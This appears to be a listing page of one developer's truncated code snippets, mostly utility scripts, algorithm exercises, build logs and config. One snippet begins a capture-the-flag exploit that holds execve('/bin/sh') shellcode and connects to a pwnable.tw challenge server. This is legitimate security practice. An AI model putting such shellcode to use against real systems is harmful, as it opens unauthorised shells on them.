giuscri

#include <openssl/conf.h>
#include <openssl/evp.h>

#include <assert.h>
#include <string.h>
#include <stdio.h>

#define MAX_PLAINTEXT_BYTES 160
#define WRAPLINE_AT 32

giuscri

# Returns HEAD commit message formatted as a valid branch name
msg2bname() {
  git show -s --format=%s | tr '(' '_' | tr -d '):' | tr ' ' '-' # chore(k8s): create secret -> chore_k8s-create-secret
                                                                 # chore: use correct db password -> chore-use-correct-db-password
}

# Returns branch name formatted as a commit message
bname2msg() {
  bname=$(git branch --show-current)
  if [[ $(echo $bname | grep '(') ]]; then

giuscri

Hi,

I'm a student from Milan, Italy and I may have solved the three problems posted here

http://cryptoservices.github.io/challenges/

As I've learned yesterday[0], this is not useful for any internship happening this summer as the students have already been selected.

giuscri

# using backtracking
def dbackspace(s, t) -> bool:
	picked = []
	n = len(s)

	def f(i) -> bool:
		if i >= n:
			return "".join(map(lambda j: s[j], picked)) == t

		picked.append(i)

giuscri

from typing import List

def bsearch(A: List[int], x: int) -> int:
    if not A:
        return -1

    i, j = 0, len(A)-1
    while i <= j:
        mid = i+(j-i)//2
        if A[mid] == x:

giuscri

$ sbt "project importer" assembly

[info] Loading global plugins from /Users/g/.sbt/1.0/plugins
[info] Loading settings for project backend-build from plugins.sbt ...
[info] Loading project definition from /Users/g/banksealer/cloud/backend/project
[info] Loading settings for project root from build.sbt ...
[info] Resolving key references (11674 settings) ...
[info] Set current project to root (in build file:/Users/g/banksealer/cloud/backend/)
[info] Set current project to importer (in build file:/Users/g/banksealer/cloud/backend/)
[debug] Copy resource mappings: 

giuscri

#!/bin/sh -x

pip3 install -t ./package requirements.txt

cd ./package
zip -r9 function.zip .

cd -
zip function.zip lambda_function.py

giuscri

import json
from base64 import b64encode, b64decode
from binascii import unhexlify

#SMALL_JPEG = b'\xff\xd8\xff\xdb\x00C\x00\x03\x02\x02\x02\x02\x02\x03\x02\x02\x02\x03\x03\x03\x03\x04\x06\x04\x04\x04\x04\x04\x08\x06\x06\x05\x06\t\x08\n\n\t\x08\t\t\n\x0c\x0f\x0c\n\x0b\x0e\x0b\t\t\r\x11\r\x0e\x0f\x10\x10\x11\x10\n\x0c\x12\x13\x12\x10\x13\x0f\x10\x10\x10\xff\xc9\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xcc\x00\x06\x00\x10\x10\x05\xff\xda\x00\x08\x01\x01\x00\x00?\x00\xd2\xcf \xff\xd9'
CAT_JPEG = b64decode('/9j/4WVvRXhpZgAASUkqAAgAAAAPAA4BAgAgAAAAwgAAAA8BAgAgAAAA4gAAABABAgAgAAAAAgEAABIBAwABAAAAAQAAABoBBQABAAAAIgEAABsBBQABAAAAKgEAACgBAwABAAAAAgAAADEBAgAgAAAAMgEAADIBAgAUAAAAUgEAABMCAwABAAAAAgAAACACAwABAAAAAAAAACECBAABAAAAAAAAACICAwABAAAAAAAAACMCAwABAAAAAAAAAGmHBAABAAAAZgEAAMQCAAAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgACAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAAICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIABIAAAAAQAAAEgAAAABAAAATWVkaWFUZWsgQ2FtZXJhIEFwcGxpY2F0aW9uAAAAAAAyMDE1OjA2OjMwIDA4OjM4OjU0ABYAmoIFAAEAAAB

giuscri

import socket
from struct import pack, unpack
from binascii import unhexlify

# Got it via `ragg2 -i exec -b 32`
shellcode = unhexlify('31c050682f2f7368682f62696e89e3505389e199b00b31d2cd80')

sck = socket.create_connection(('chall.pwnable.tw', 10000))
#sck = socket.create_connection(('0.0.0.0', 8080))

giuscri

!! we'll need to remap these keys
clear Mod1
clear Control
clear Lock

!! on the right: shadow menu-key, swap alt and control
keycode 108 = Control_R
keycode 135 = Alt_R

!! map left-control to caps-lock,